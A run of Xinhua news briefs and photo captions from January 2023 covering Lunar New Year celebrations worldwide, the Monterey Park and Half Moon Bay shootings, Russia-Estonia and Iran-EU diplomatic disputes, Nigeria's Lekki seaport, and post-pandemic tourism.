"It was phenomenal, especially the lion dance, it is really nicely imagined, together with the culinary offer," she said.

The message "Happy Chinese New Year" was broadcast from the Belgrade Tower, the tallest building in this part of the Balkans.

Besides Belgrade, the celebration of the Chinese Lunar New Year will be held in Serbia's other large cities.

The festivities in Serbia, held here for the fifth consecutive year -- will continue until Jan. 26. 

People pose for photos with lion dance performers during an event celebrating the Chinese Lunar New Year in Belgrade, Serbia, Jan. 21, 2023. (Photo by Wang Wei/Xinhua)

A woman tastes dumplings during an event celebrating the Chinese Lunar New Year in Belgrade, Serbia, Jan. 21, 2023. (Photo by Wang Wei/Xinhua)

People take photos of fireworks during an event celebrating the Chinese Lunar New Year in Belgrade, Serbia, Jan. 21, 2023. (Photo by Wang Wei/Xinhua)
MOSCOW, Jan. 23 (Xinhua) -- Russia has decided to downgrade diplomatic relations with Estonia to the level of charge d'affaires in retaliation of Estonia's move to reduce Russian embassy staff.

The Russian Foreign Ministry on Monday summoned Estonian Ambassador to Russia Margus Laidre in protest against actions of Estonia's authorities and ordered him to leave the country by Feb. 7.

"The Estonian leadership has purposefully destroyed the entire range of relations with Russia" by promoting Russophobia and hostility towards Russia, the ministry said in a statement.

In a tit-for-tat move, the Estonian Ministry of Foreign Affairs tweeted on Monday it will expel the Russian ambassador from its capital Tallinn.

Earlier this month, Estonia asked Russia to reduce staff at its embassy in Tallinn by more than half ahead of Feb. 1. 
KIEV, Jan. 24 (Xinhua) -- The International Atomic Energy Agency (IAEA) has deployed its permanent monitoring mission at Khmelnytsky nuclear power plant in western Ukraine, thus completing the establishment of its representation in the country, Ukrainian authorities said Tuesday.

The mission's main tasks are to maintain nuclear and radiation safety at the facility amid the Russia-Ukraine conflict, the State Nuclear Regulatory Inspectorate of Ukraine said in a statement.

Last week, the IAEA established its missions at three other nuclear plants, namely Rivne in western Ukraine, Pivdennoukrainsk in the south, and Chernobyl plant in the north, the agency said.

In August last year, the IAEA sent its monitoring mission to the Zaporizhzhia nuclear power plant in southern Ukraine, which Russian forces have controlled since March.

There are five nuclear power plants in Ukraine, four of which are functioning. The Chernobyl power plant, which witnessed a nuclear disaster on April 26, 1986, was completely shut down on Dec. 15, 2000. 
A man hangs prayer flags on a mountain in Xigaze, southwest China's Tibet Autonomous Region, Jan. 24, 2023. Following the tradition, people here went early in the morning to hang new prayer flags on top of mountains and their house roofs to celebrate New Year under the Tibetan calendar. (Xinhua/Jigme Dorje)

A man hangs prayer flags on a mountain in Xigaze, southwest China's Tibet Autonomous Region, Jan. 24, 2023. Following the tradition, people here went early in the morning to hang new prayer flags on top of mountains and their house roofs to celebrate New Year under the Tibetan calendar. (Xinhua/Jigme Dorje)

A man hangs prayer flags in Xigaze, southwest China's Tibet Autonomous Region, Jan. 24, 2023. Following the tradition, people here went early in the morning to hang new prayer flags on top of mountains and their house roofs to celebrate New Year under the Tibetan calendar. (Xinhua/Jigme Dorje)

This aerial photo taken on Jan. 24, 2023 shows the morning view of Xigaze, southwest China's Tibet Autonomous Region. Following the tradition, people here went early in the morning to hang new prayer flags on top of mountains and their house roofs to celebrate New Year under the Tibetan calendar. (Xinhua/Jigme Dorje)

People set prayer flags on a hill in Lhaze County, southwest China's Tibet Autonomous Region, Jan. 23, 2023. Following the tradition, people here went early in the morning to hang new prayer flags on top of mountains and their house roofs to celebrate New Year under the Tibetan calendar. (Xinhua/Jigme Dorje)

This aerial photo taken on Jan. 24, 2023 shows the morning view of Xigaze, southwest China's Tibet Autonomous Region. Following the tradition, people here went early in the morning to hang new prayer flags on top of mountains and their house roofs to celebrate New Year under the Tibetan calendar. (Xinhua/Jigme Dorje)

A man hangs prayer flags on a mountain in Xigaze, southwest China's Tibet Autonomous Region, Jan. 24, 2023. Following the tradition, people here went early in the morning to hang new prayer flags on top of mountains and their house roofs to celebrate New Year under the Tibetan calendar. (Xinhua/Sun Fei)

A man hangs prayer flags on a mountain in Xigaze, southwest China's Tibet Autonomous Region, Jan. 24, 2023. Following the tradition, people here went early in the morning to hang new prayer flags on top of mountains and their house roofs to celebrate New Year under the Tibetan calendar. (Xinhua/Sun Fei)

A man hangs prayer flags in Xigaze, southwest China's Tibet Autonomous Region, Jan. 24, 2023. Following the tradition, people here went early in the morning to hang new prayer flags on top of mountains and their house roofs to celebrate New Year under the Tibetan calendar. (Xinhua/Sun Fei)
by Peerzada Arshad Hamid

NEW DELHI, Jan. 23 (Xinhua) -- Chinese community here and other enthusiasts have celebrated the Chinese Spring Festival in India.

Major celebrations were held in Kolkata, the capital city of the eastern Indian state of West Bengal.

The Chinese community in the two Chinatowns of Tangra and Tiretta Bazaar in the city came together to mark the Spring Festival. The year 2023 is the Year of the Rabbit. Rabbit is a beloved animal in China, symbolizing grace, mercy, auspiciousness and good luck.

For thousands of years, the Spring Festival has been a time of family reunion in China.

The celebrations began in Tangra on Saturday evening, featuring lion and dragon dances, fireworks, a food festival and lighting of Chinese lanterns. The participants, mainly youths, had rehearsed the dances and other programs over the past few days.

Even the homes and business establishments received a fresh coat of paint in anticipation of the lunar new year.

To welcome the Spring Festival, people of the Chinese community cleaned their houses and decorated doors with red posters of poetic verses, and red lanterns.

Reports said about 2,500 Chinese nationals residing in China towns in Tangra and Tiretta Bazaar participated in the celebrations.

Many Indians in the city also attended the event and had a bite of Chinese food and delicacies.

"It is for the first time I have witnessed the Chinese New Year celebrations," said New Delhi-based businessman Sahil Ashraf, who is in Kolkata in connection with his business. "I enjoyed the dances and relished the authentic Chinese food."

A huge crowd gathered to witness the Chinese Lunar New Year celebrations at Chinatown in Tangra on Sunday. The lunar new year fell on Jan. 22 this year.

The celebrations began with lion dances, which signifies good luck by warding off evil spirits, to the beat of pulsating drums, clashing gongs and cymbals.

Last week, the community organized a heritage walk at Chinatown in Tiretta Bazaar and arranged for a dragon dance and Chinese food.

A giant-sized sculpture of a dragon was installed in Chattawalla Gully in Tiretta Bazaar on Sunday as part of the New Year celebrations.

Residents in Kolkata said that with the Spring Festival, the Chinese community reached out to their fellow Indians by presenting their culture, heritage and food, thereby contributing to the city's diversified culture.

"Chinese food is popular among Kolkatans and we want to welcome people to our neighborhoods to know more about the community behind the cuisine," Dominic Lee, a senior member of local Chinese community, was quoted by media as saying.

Last week a celebration to welcome the New Year was held in the southern Indian city of Bengaluru in Karnataka state.

Since many Chinese people are working in India and have made it a home away from their country, the festival brought them together to celebrate it with fervor and enjoy Chinese traditions.

The Consulate-General of China in Mumbai hosted a reception to mark the Chinese festival.

"In our consular district, we are a big family, all the Chinese are a family," Kong Xianhua, consul general of the Chinese Consulate-General in Mumbai, told media.

"It's very important that Indian friends joined us ... We share the same culture, we share the same visions, we enhance the friendship," he added.

"I've lived here for three years and haven't been back to China because of the COVID-19 pandemic," said Zhang Dongli, a Chinese national who celebrated the Chinese Lunar New Year in the consulate-general here.

The Chinese Lunar New Year, as one of the most important holidays in Chinese culture, is also observed worldwide.

"Civilizations have become richer and more colorful with exchanges and mutual learning," Ma Jia, charge d'affaires ad interim of the Chinese Embassy in India, said during an online concert of 2023 Chinese New Year held last Friday.

For China and India, the two ancient civilizations with a long history, art exchanges and cooperation will contribute to mutual learning and facilitate people-to-people bonds, she added. 
This photo taken on Jan. 23, 2023 shows facilities at the Lekki deep seaport in Lagos, Nigeria. The commission ceremony for commercial operations of the Chinese-built Lekki deep seaport is held here on Monday. (Photo by Tope Ayoku/Xinhua)

LAGOS, Jan. 24 (Xinhua) -- Nigerian President Muhammadu Buhari on Monday inaugurated the iconic Lekki deep seaport in the southwestern state of Lagos for operation, noting that the new maritime facility opens a new vista of economic development for the African country.

Constructed by the China Harbor Engineering Company Ltd., the Lekki Deep Sea Port is the first deep seaport in Nigeria, and one of the biggest in West Africa.

At a banquet held by the Lagos state government on Monday night, Buhari said the completion of the project was driven by his vision to "bequeath a legacy of poverty elimination through the provision of job-creating infrastructure."

Emphasizing there are now limitless opportunities for the country's exports, especially agro-allied products in the international marketplace, growth of local jobs, and increase in foreign exchange inflow, the Nigerian leader said he "placed all matters related to the operationalization of Lekki deep seaport on top priority."

With an investment in excess of 1 billion U.S. dollars, the deep seaport is a commercial project of cooperation between China, France and Nigeria. The construction of the port commenced in June 2020 and was completed in October 2022. It is designed to handle 1.2 million standard containers annually.

Equipped with state-of-the-art technology, such as biometric scanners and facial recognition systems, the port is expected to also improve security and efficiency, and streamline the clearance of cargo.

Chinese Ambassador to Nigeria Cui Jianchun said the landmark gateway project is a fitting example of a good business model, taking advantage of the wisdom and strength of all parties from China, Europe and Africa.

Cui pledged that China would promote "the business model" to pursue a win-win outcome, particularly for the growth, development and progress of Nigeria.

"It is estimated that the overall economic benefits will reach more than 360 billion dollars (within the 45-year licensed operation period), becoming a new engine of economic development that will empower the whole country," the Chinese envoy said.

Aside from unlocking the country's economic potential, the new port will also create thousands of direct and indirect jobs in Nigeria as it begins operation, Babajide Sanwo-Olu, governor of Lagos State, said at the ceremony.

"Something fresh has been birthed in this country, and it is going to generate thousands of direct and indirect jobs," he said. 

Nigerian President Muhammadu Buhari (1st L, front) attends the commission ceremony of the Lekki deep seaport in Lagos, Nigeria, Jan. 23, 2023. The commission ceremony for commercial operations of the Chinese-built Lekki deep seaport is held here on Monday. (NAN/Handout via Xinhua)

This photo taken on Jan. 23, 2023 shows facilities at the Lekki deep seaport in Lagos, Nigeria. The commission ceremony for commercial operations of the Chinese-built Lekki deep seaport is held here on Monday. (NAN/Handout via Xinhua)

A container ship berths at the Lekki deep seaport in Lagos, Nigeria, Jan. 23, 2023. The commission ceremony for commercial operations of the Chinese-built Lekki deep seaport is held here on Monday. (NAN/Handout via Xinhua)

This photo taken on Jan. 23, 2023 shows a container truck at the Lekki deep seaport in Lagos, Nigeria. The commission ceremony for commercial operations of the Chinese-built Lekki deep seaport is held here on Monday. (NAN/Handout via Xinhua)
Policemen work at the scene of a shooting in Half Moon Bay in California, the United States, Jan. 23, 2023. Seven people were killed and one was critically injured in two shootings in northern California on Monday, U.S. media reported. (Photo by Li Jianguo/Xinhua)

SAN FRANCISCO, Jan. 23 (Xinhua) -- Seven people were killed and one was critically injured in two shootings in northern California on Monday, U.S. media reported.

The shootings occurred at two locations in the coastal northern California city of Half Moon Bay, about 50 km south of San Francisco.

The motives of the shootings are still unknown, Los Angeles Times quoted a statement of the Sheriff's Office as saying.

Previously, the Sheriff's Office reported on Twitter a shooting incident with multiple victims and said a 67-year-old suspect was arrested.

"The Sheriff's Office is responding to a shooting incident with multiple victims in the area of (Highway) 92 and the (Half Moon Bay) City limits," it tweeted. "Suspect is in custody."

The shootings took place just two days after 11 people were killed in a mass shooting in the city of Monterey Park, one of the worst mass shootings in Los Angeles County. 

Policemen work at the scene of a shooting in Half Moon Bay in California, the United States, Jan. 23, 2023. Seven people were killed and one was critically injured in two shootings in northern California on Monday, U.S. media reported. (Photo by Li Jianguo/Xinhua)

A sheriff deputy works at the scene of a shooting in Half Moon Bay in California, the United States, Jan. 23, 2023. Seven people were killed and one was critically injured in two shootings in northern California on Monday, U.S. media reported. (Photo by Li Jianguo/Xinhua)

Policemen work at the scene of a shooting in Half Moon Bay in California, the United States, Jan. 23, 2023. Seven people were killed and one was critically injured in two shootings in northern California on Monday, U.S. media reported. (Photo by Li Jianguo/Xinhua)

Investigators work at the scene of a shooting in Half Moon Bay in California, the United States, Jan. 23, 2023. Seven people were killed and one was critically injured in two shootings in northern California on Monday, U.S. media reported. (Photo by Li Jianguo/Xinhua)

Policemen work at the scene of a shooting in Half Moon Bay in California, the United States, Jan. 23, 2023. Seven people were killed and one was critically injured in two shootings in northern California on Monday, U.S. media reported. (Photo by Li Jianguo/Xinhua)

A sheriff deputy works at the scene of a shooting in Half Moon Bay in California, the United States, Jan. 23, 2023. Seven people were killed and one was critically injured in two shootings in northern California on Monday, U.S. media reported. (Photo by Li Jianguo/Xinhua)

A sheriff deputy works at the scene of a shooting in Half Moon Bay in California, the United States, Jan. 23, 2023. Seven people were killed and one was critically injured in two shootings in northern California on Monday, U.S. media reported. (Photo by Li Jianguo/Xinhua)

Investigators work at the scene of a shooting in Half Moon Bay in California, the United States, Jan. 23, 2023. Seven people were killed and one was critically injured in two shootings in northern California on Monday, U.S. media reported. (Photo by Li Jianguo/Xinhua)

A sheriff deputy works at the scene of a shooting in Half Moon Bay in California, the United States, Jan. 23, 2023. Seven people were killed and one was critically injured in two shootings in northern California on Monday, U.S. media reported. (Photo by Li Jianguo/Xinhua)
Cultural activities celebrating the Chinese New Year were held Saturday in Antananarivo, the capital of Madagascar.





Produced by Xinhua Global Service
BEIJING, Jan. 24 (Xinhua) -- The scale of China's privately offered funds stood at 20.03 trillion yuan (about 2.96 trillion U.S. dollars) at the end of December, according to data from an industry association.

The volume edged up 22.09 billion yuan, or 0.11 percent, from the previous month, according to the Asset Management Association of China (AMAC). The number of registered privately offered funds came in at 145,048.

In breakdown, the size of securities, private equity, and venture investment funds were 5.56 trillion yuan, 10.94 trillion yuan, and 2.83 trillion yuan, respectively.

Established in 2012, the AMAC is a self-regulatory organization that represents China's mutual fund industry. 
UNITED NATIONS, Jan. 23 (Xinhua) -- UN Secretary-General Antonio Guterres was shocked and saddened by the mass shooting in Monterey Park in the U.S. state of California, his spokesman said on Monday.

Five women and five men were killed while another 10 people were injured in the mass shooting Saturday night in the city of Monterey Park, 16 km east of Los Angeles downtown, local authorities said Sunday. The death toll rose to 11 as of Monday.

Guterres "extends his heartfelt condolences to the families and loved ones of the victims, wishes a speedy recovery to the injured," said Stephane Dujarric, the chief spokesman for the UN chief, in a statement.

The secretary-general also "expresses solidarity with the Asian-American community in the United States of America," the statement added. 
A police officer stands guard on the scene of a mass shooting in Monterey Park, California, the United States, Jan. 22, 2023. (Xinhua)

LOS ANGELES, Jan. 24 (Xinhua) -- Dozens of politicians from California pointed their fingers at the gun industry on Monday, calling for nationwide reform to contain gun violence after a fatal mass shooting on Saturday left 11 dead and nine others injured in Southern California.

"Every country struggles with mental illness. But the USA has a gun homicide rate 26 TIMES HIGHER than our peers. The difference is how the @GOP have bowed down to the gun industry. The difference is how easy it is to access to guns and high capacity magazines in our country," California Governor Gavin Newsom tweeted Monday after touring the city of Monterey Park, 16 km east of Los Angeles downtown.

A gunman opened fire at a crowded dance hall in the small city, which has a majority Asian American population, at 10:22 p.m. local time on Saturday (0422 GMT Sunday) when it was hosting an event to celebrate the countdown to the Chinese Lunar New Year.

The suspect, later identified as 72-year-old Huu Can Tran, fled the scene and traveled to nearby Alhambra, where he allegedly entered a second dance hall before being disarmed there that same night.

Tran was found dead on Sunday from a self-inflicted gunshot wound inside a van in Torrance, about 50 km southwest of Monterey Park.

People mourn for victims of a mass shooting in front of the city hall of Monterey Park, California, the United States, Jan. 22, 2023. (Xinhua)

"Spent time in Monterey Park today meeting with leaders and those impacted by this terrible tragedy. The strength of this community is incredible," Newsom tweeted Sunday. "No other country in the world is terrorized by this constant stream of gun violence. We need real gun reform at a national level."

Alex Padilla, a junior U.S. Senator from California since 2021, echoed Newsom's remarks. He noted that the Saturday tragedy should remind people of "the epidemic of gun violence in America."

"We do take it as a reminder of the urgency with which we need to strengthen our gun safety laws across the country," said the Senator, who served more than seven years on the Los Angeles City Council earlier, when he visited the Langley Senior Center in Monterey Park, which is being used as a crisis response and resource center for the victims and their families.

There were 641 mass shootings in the United States in 2022, the second-highest number behind the 690 that happened in 2021, according to the Gun Violence Archive, a website that tracks shootings nationwide.

The Gun Violence Archive defines a mass shooting as four or more people shot or killed, not including the shooter.

Padilla said California's district gun control laws could not prevent fatal shooting incidents since other states in the country have much looser measures against gun violence.

Police officers work on the scene of a mass shooting in Monterey Park, California, the United States, Jan. 22, 2023. (Xinhua)

It is still unclear two days after the fatal incident how the shooter could access a "magazine-fed semi-automatic assault pistol," which is illegal in California and was found at the scene, according to Los Angeles County Sheriff Robert Luna.

"California has some district laws and protections of any state in the nation ... But when there's a patchwork of laws and protections to various across states, there are vulnerabilities that can impact any community in the country," he said, urging a long-term solution instead of "just an immediate aftermath of a tragedy."

With its restrictive state laws, California has among the lowest firearms mortality rates in the United States, according to the Centers for Disease Control and Prevention (CDC).

The most populous state in the country ranked seventh lowest nationwide, with 8.5 deaths per 100,000 people in 2020 - well below the nationwide average of 13.7.

The CDC's data showed that in 2020 Texas posted a rate of 14.2, Georgia a rate of 17.7, while the highest rate was in Mississippi, at 28.6 deaths per 100,000 people.

Judy Chu, U.S. representative for California's 28th congressional district, where Monterey Park is located, made an emotional interview with local media on Monday morning when she visited the Langley Senior Center, saying she "was just stunned and shocked and can't even know what to begin to think about this tragedy" in a city where she has lived for 37 years.

Chu was elected to the city council of Monterey Park in 1988. In 1989, she became mayor of the city and served until 1994.

She recalled the challenges facing immigrants to the city, including the so-called "English Only Movement" in the 1980s, when "many immigrants moved in, and the old-time residents didn't like it and resented it."

"That's why I ran for city council to bring the people together to bring about an appreciation of diversity. And I am proud of how far we've come since then... That's why we had such an incredible Lunar New Year celebration, which is the largest in the Southland," she said, noting the hard-working people in the city deserved a room to gather in peace.

She said the gun industry and its lobby groups should be blamed for the mass shooting.

"We have a total proliferation of guns in this society, and it's unlike anything you see in any other country. That's because the NRA has such a strong lobby, and the NRA represents the gun manufacturers, not the regular people," she noted.

Photo taken on April 13, 2021 shows 40,000 white silk flowers installed on the National Mall to honor the nearly 40,000 Americans who die every year from gun violence in Washington, D.C., the United States. (Xinhua/Liu Jie)

The NRA, or the National Rifle Association of America, is a very influential gun rights advocacy group. It is also among the most influential advocacy groups in U.S. politics.

Chu said that gun control bills introduced by lawmakers always required universal background checks for gun buyers; however, the bills were always overturned by the NRA because "this big, gigantic lobby with all this money, the NRA is able to control things. And it gives lots of donations to certain elected officials who vote down any kind of gun bill."

She hoped the mass shooting could result in a greater focus on gun violence and push Congress to pass more gun control bills in the coming years.

Besides the governor, the Senator and the Congresswoman, dozens of prominent Californian politicians, from state lawmakers in Sacramento to elected officials in Southern California, are calling for stricter gun control in the wake of the mass shooting.

The California Asian American and Pacific Islander Caucus held a vigil on the steps of the Capitol on Monday night in honor of the victims.

The caucus chair said people should expect more action to address gun violence, such as more district background checks.

"The fact of the matter is that this issue is about the senseless attacks on communities with respect to firearms," caucus chair and State Assemblyman Evan Lowe told ABC 10 news channel.

Only two days after the dance hall shooting, a man opened fire on people at two separate locations in Half Moon Bay, Northern California, on Monday afternoon, killing seven and injuring one, according to local police. 
Ceramic artists in Jingdezhen, China and Iznik, Turkiye communicate with each other through their work of blue and white porcelain. They each tell an engaging story and deliver a profound interpretation of the spirit of craftsmanship: diligence, perfection and innovation.

Produced by Xinhua Global Service




People perform dragon dance in celebration of the Chinese New Year in Milan, Italy, Jan. 22, 2023. (Xinhua/Jin Mamengni)

On Sunday, Chinese New Year's Day, Chinese and Italian artists presented cultural performances near Milan's Arco Della Pace. These included Lion and Dragon dance, Tai Chi, Chinese opera, and classic Chinese dance.

by Zhou Xiaotian

MILAN, Italy, Jan. 23 (Xinhua) -- Italian cities from North to South got into the spirit of Chinese New Year this weekend, with traditional cultural performances, Chinese cuisine, and landmarks and streets lit up in the auspicious color red.

In Milan, a Chinese New Year animation was played on a large screen in Piazza San Babila on Saturday, the Chinese New Year's Eve. Meanwhile, in Turin, the Mole Antonelliana landmark was lit up with the lucky color red and the Chinese character of "Fu" -- which also means good luck.

On Sunday, Chinese New Year's Day, Chinese and Italian artists presented cultural performances near Milan's Arco Della Pace. These included Lion and Dragon dance, Tai Chi, Chinese opera, and classic Chinese dance.

The street of Paolo Sarpi, one of the biggest China Towns in Europe, was decorated with red lanterns and Chinese dragons, and locals flooded in to taste Chinese cuisine and street food.

Dancers perform during a cultural event in celebration of the Chinese New Year in Milan, Italy, Jan. 22, 2023. (Xinhua/Jin Mamengni)

"I know the lanterns and dragons are celebrating Chinese New Year and it's the Year of the Rabbit," a young Italian girl said, while buying a Chinese pancake.

"I have a lot of Chinese friends and I often ask them about Chinese culture," another Italian girl said, holding a Baozi, a yeast-leavened filled bun.

At the Confucius Institute of the Catholic University of the Sacred Heart in Milan, teachers decorated classrooms and conference rooms with the color red, and prepared cultural activities and performances, including poetry recitations.

"It was my first time celebrating Chinese New Year in a foreign country, but I can still feel the strong atmosphere of the festival in various activities," said Xu Qiruo, a junior student and volunteer teacher at the institute.

A Chinese character "Fu," which means "good fortune," and red light are projected on the Mole Antonelliana to celebrate the Chinese New Year in Turin, Italy, on Jan. 21, 2023. (Photo by Federico Tardito/Xinhua)
People watch a lion dance performance at Huangsi Temple Fair during the Spring Festival holiday in Shenyang, capital of northeast China's Liaoning Province, Jan. 23, 2023. Various activities were held here at the 6-day fair, starting from Jan. 22, to celebrate the Spring Festival. (Xinhua/Yang Qing)

This aerial photo taken on Jan. 23, 2023 shows people visiting Huangsi Temple Fair during the Spring Festival holiday in Shenyang, capital of northeast China's Liaoning Province. Various activities were held here at the 6-day fair, starting from Jan. 22, to celebrate the Spring Festival. (Xinhua/Yang Qing)

People eat snacks at Huangsi Temple Fair during the Spring Festival holiday in Shenyang, capital of northeast China's Liaoning Province, Jan. 23, 2023. Various activities were held here at the 6-day fair, starting from Jan. 22, to celebrate the Spring Festival. (Xinhua/Yang Qing)

People visit Huangsi Temple Fair during the Spring Festival holiday in Shenyang, capital of northeast China's Liaoning Province, Jan. 23, 2023. Various activities were held here at the 6-day fair, starting from Jan. 22, to celebrate the Spring Festival. (Xinhua/Yang Qing)

People visit Huangsi Temple Fair during the Spring Festival holiday in Shenyang, capital of northeast China's Liaoning Province, Jan. 23, 2023. Various activities were held here at the 6-day fair, starting from Jan. 22, to celebrate the Spring Festival. (Xinhua/Yang Qing)

This aerial photo taken on Jan. 23, 2023 shows people visiting Huangsi Temple Fair during the Spring Festival holiday in Shenyang, capital of northeast China's Liaoning Province. Various activities were held here at the 6-day fair, starting from Jan. 22, to celebrate the Spring Festival. (Xinhua/Yang Qing)

People watch a performance at Huangsi Temple Fair during the Spring Festival holiday in Shenyang, capital of northeast China's Liaoning Province, Jan. 23, 2023. Various activities were held here at the 6-day fair, starting from Jan. 22, to celebrate the Spring Festival. (Xinhua/Yang Qing)

People queue up to buy snacks at Huangsi Temple Fair during the Spring Festival holiday in Shenyang, capital of northeast China's Liaoning Province, Jan. 23, 2023. Various activities were held here at the 6-day fair, starting from Jan. 22, to celebrate the Spring Festival. (Xinhua/Yang Qing)

A woman poses for pictures with lanterns at Huangsi Temple Fair during the Spring Festival holiday in Shenyang, capital of northeast China's Liaoning Province, Jan. 23, 2023. Various activities were held here at the 6-day fair, starting from Jan. 22, to celebrate the Spring Festival. (Xinhua/Yang Qing)
Tourists visit the Hanumandhoka Durbar Square, a UNESCO heritage site in Kathmandu, Nepal, Dec. 14, 2018. (Xinhua/Sunil Sharma)

Nepal "is all prepared with added facilities, amenities, properties and products to welcome valued tourists from China in the days and years to come," a Nepali official said.

KATHMANDU, Jan. 24 (Xinhua) -- Nepal is ready to welcome Chinese tourists back as a popular destination, a Nepali official said.

Nepal "is all prepared with added facilities, amenities, properties and products to welcome valued tourists from China in the days and years to come," Suresh Adhikari, secretary of the Ministry of Culture, Tourism and Civil Aviation, wrote in a recent message to the Chinese embassy.

The secretary referred to the "age-long" cultural and economic relations between Nepal and China and described his country as a "popular destination" for tourists.

A man rows a boat in Fewa Lake of Pokhara, Nepal, on Nov. 13, 2019. (Photo by Sulav Shrestha/Xinhua)

He extended "hearty greetings and best wishes" to the Chinese government and people on the auspicious occasion of the Chinese New Year, which fell on Sunday.

The Nepali government has reportedly prepared a Strategic Action Plan for Visit Nepal Decade (2023-2032) with a view to bringing in 3.5 million tourists and creating one million additional jobs in the tourism sector battered by the COVID-19 pandemic.
WINDHOEK, Jan. 24 (Xinhua) -- Chinese visitors or tourists will not be required to produce COVID-19 tests when entering Namibia, an official told Xinhua, following recently imposed entry restrictions on travelers from China by some countries.

"Namibia has not implemented that on Chinese nationals or tourists. Such a move only depends on the situation, and we will only react when need be and when such a time comes," Walters Kamaya, a spokesperson for the Ministry of Health and Social Services, told Xinhua.

According to Kamaya, Namibia's entry requirements are the same for all travelers, and polymerase chain reaction (PCR) tests are not an entry requirement for now.

Kamaya said there had been no detection of new COVID-19 variants in the southwestern African nation as it continues to conduct various COVID-19 surveillance activities countrywide to prepare for, detect and respond to any resurgence in cases.

Gitta Paetzold, the chief executive officer of the Hospitality Association of Namibia (HAN), told Xinhua Tuesday that although Namibia's health minister in early January sounded caution about Kraken, the new variant, it was agreed not to create too much hype about the new variant, and it seems globally, governments are taking a stance of careful consideration, but not to restrict travel.

Meanwhile, according to HAN statistics, occupancy rates at nationwide hospitality establishments stood at 37.9 percent in December 2022, compared to 45.8 percent in the prior month, bringing the annual average to 40.1 percent.

According to the annual statistics for 2022, around 3,740 Chinese nationals booked in various establishments in Namibia, which constituted 0.48 percent, while the bulk of the occupancy was dominated by Namibians at 30.59 percent. 
TEHRAN, Jan. 24 (Xinhua) -- Iran on Tuesday strongly condemned new sanctions imposed by the European Union (EU) and Britain and vowed to take retaliatory measures.

Iran reserves the right to take retaliatory measures against such "failed policies" and will soon announce its new list of sanctions against the "human rights violators and sponsors of terrorism" in the EU and Britain, Iranian Foreign Ministry spokesman Nasser Kanaani said in a statement, which was posted on the ministry's website.

The EU on Monday imposed sanctions on more than 30 Iranian officials and organizations, including units of Iran's Islamic Revolution Guards Corps, for their response to the recent protests in the country. Britain and the United States also slapped new sanctions on Iran on the same day.

The move by the EU and Britain indicates that they failed to have a correct understanding of Iran's realities, Kanaani said, adding the sanctions by EU and Britain on Iranian parliament members as well as judicial, military, police and cultural officials are signs of their "desperation, frustration and anger" over their recent "abject failure" to sow unrest in the country despite their efforts and heavy costs.

"The sanctions will not affect the Iranian nation's determination and will to confront foreign interference and conspiracies," he noted.

Protests erupted in Iran after 22-year-old Mahsa Amini died in a Tehran hospital on Sept. 16, 2022, a few days after her collapse at a police station. Iran has accused the United States and some other Western countries of "inciting riots and supporting terrorists" in the country. 
Thousands of people gathered in London to celebrate the Chinese New Year of the Rabbit, which fell on Sunday. Various entertaining and cultural events including the Grand Parade and a stage show at the Trafalgar Square were organized, and landmarks such as the London Eye have been lit up with the auspicious color red, creating a festive ambiance in the British capital.

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UNITED NATIONS, Jan. 23 (Xinhua) -- UN humanitarians in South Sudan condemned the new attack on an aid compound where a worker was injured and goods stolen, a UN spokesman said on Monday.

Interim UN Humanitarian Coordinator Peter Van der Auweraert strongly condemned the Wednesday attack in an international non-governmental organization (NGO) compound in Pibor, in the country's east, the latest of a series of such incidents, said Stephane Dujarric, the chief spokesman for UN Secretary-General Antonio Guterres.

"This is the third attack this month, after the killing of two aid workers in the Abyei Administrative Area and another one in Jonglei State," Dujarric said. The attackers targeted the NGO looking for cash and other assets, and stole valuables.

The UN Office for the Coordination of Humanitarian Affairs said that these attacks indirectly impact vulnerable communities as they hamper the delivery of much-needed life-saving humanitarian goods.

"South Sudan is one the most dangerous places for aid workers, with nine humanitarian workers killed in the line of duty and 450 incidents reported in 2022," the spokesman said. Already three humanitarian workers in South Sudan were killed this year.

Some 9.4 million of the most vulnerable people in South Sudan will need urgent assistance and protection this year, up from 8.9 million last year, Dujarric said. 
MOGADISHU, Jan. 24 (Xinhua) -- The Somali National Army on Monday killed 39 al-Shabab militants after heavy fighting near the central town of Harardhere, said a military official.

The local forces backed by international partners killed the militants who had burned down a commuter bus when escaping from the battlefield, the Commander for the Infantry Mohamed Tahlil Bihi told the state-run Radio Mogadishu on Monday.

"Our forces are making progress on the war against terrorists on several fronts," said Bihi.

The fighting came a day after the militant group carried out a deadly attack on Sunday in Somalia's capital Mogadishu. 
CANBERRA, Jan. 24 (Xinhua) -- Australian Prime Minister Anthony Albanese announced new restrictions on Tuesday to curb a crime crisis in central Australia.

Albanese met with community leaders in Alice Springs, the largest city in the Australian Outback, Tuesday evening to discuss a spike of alcohol-fuelled violence in the region.

The visit came after days of intense pressure from the Opposition for the federal government to intervene in the crisis.

According to data from Northern Territory (NT) Police, assaults in Alice Springs have increased by 43 percent over the last year.

After meeting with representatives of the Indigenous community, law enforcement and the NT government, Albanese said alcohol sales would be limited to one transaction per person per day.

Monday and Tuesday will be "takeaway alcohol-free days" and takeaway alcohol sales will be limited to between 3 p.m. and 7 p.m. every other day.

"These are complex problems in Alice Springs and they require a full solution, which requires different levels of government to work together," Albanese told reporters.

The new measures will be in place for an initial period of three months.

Natasha Fyles, the chief minister of the NT, conceded that not everyone would welcome the restrictions but said they were necessary.

"So I do ask the community to understand we do not take these decisions lightly but these are measures to reduce the amount of alcohol in our community," she said.

"It is a decision that police fully support and by reducing that amount of alcohol, we will reduce the harm." 
MANILA, Jan. 24 (Xinhua) -- "The Philippines is open and ready to welcome our friends from China," said Philippine Tourism Secretary Christina Frasco while receiving hundreds of Chinese tourists who arrived in Manila Tuesday afternoon.

Frasco said the arrival of these people aboard a commercial flight "signals a very auspicious start" to the Chinese New Year, adding her country, famous for world-renowned pristine beaches, is anticipating more tourists from China.

She invited Chinese tourists to "feel the warmth of the Filipino people and to enjoy our award-winning beach destinations and all other nature-based offerings" across the country.

"Our intention is not only to regain but to exceed our pre-pandemic numbers, knowing how the relationship between the Philippines and China will only further improve in the years to come," Frasco added.

As a key economic driver, the tourism industry's contribution to the Philippines' gross domestic product stood at 12.7 percent in 2019.

Over 1.74 million Chinese tourists visited the Southeast Asian country in 2019, an increase of 38.58 percent from 2018. Chinese tourists spent more than 2.3 billion U.S. dollars while vacationing in the country, official data showed.

However, the COVID-19 pandemic dealt a severe blow to the tourism sector, slashing foreign arrivals and displacing almost 1.1 million service workers across the country.

"The tourists will help the Philippines in its efforts to transform and recover the tourism industry," Frasco said Tuesday at the airport, adding the returning of Chinese tourists will have a positive impact on the sector.

